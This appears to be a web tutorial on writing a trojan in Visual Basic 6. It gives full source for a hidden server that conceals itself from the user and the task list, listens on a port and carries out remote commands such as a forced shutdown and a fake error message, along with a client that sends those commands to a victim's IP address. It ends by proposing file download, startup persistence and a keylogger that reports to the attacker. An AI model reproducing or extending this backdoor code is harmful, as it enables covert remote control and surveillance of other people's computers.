How to write a simple trojan in vb6 | Creating a Virus

How to write a simple trojan in vb6

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code.
The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go
through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it.
To do this you start by using

Private Sub Form_Load()
Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier.
So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

(Due to Bill gates, all running exe's will be displayed in the list of running processes. Your app will be hidden in the Running Applications List though )

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this
tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control.
I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat.

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. (Public so it can be used by code outside of the Module) So add this code to the module and we are about done with the server
of the Trojan!

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Ok now we have a program that when the data “Msgbox” is sent to it on port 2999 it will display a msgbox on the victims computer. When the data "shutdown" is sent to it on port 2999 it will shutdown the computer. I used a Select Case statement so it is easy to modify this code to your own needs later on.

Congradulations! You just made your first Trojan. Lets go over the complete code now.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Module

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server
that accepts the command of “shutdown” and "msgbox" lets make a client that sends the command “shutdown” and "msgbox".

Make a form and add a Winsock Control, a text box, and 4 buttons. The Text box should be named txtIP if you want it to work with this code.
In addition, your buttons should be named cmdConnect, cmdMsgbox, cmdShutdown, and cmdDisconnect. Now lets look at the code we would use to make our
Client.

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send
the “shutdown” or "msgbox" data to the server and the respective actions will be carried out (shutdown computer or display a msgbox)

These two programs do very little but can quickly evolve into a powerful remote administration tool if you know what you are doing. I suggest trying
to add different types of error handling and functions to both the server and client.

Ideas:

Make the server able to download a file specified by the attacker

Add code to make the Server be executed at startup. (Its a registry key)

Add a keylogger to the server - make it send the log to the attacker. There are loads more things you could do, just use your imagination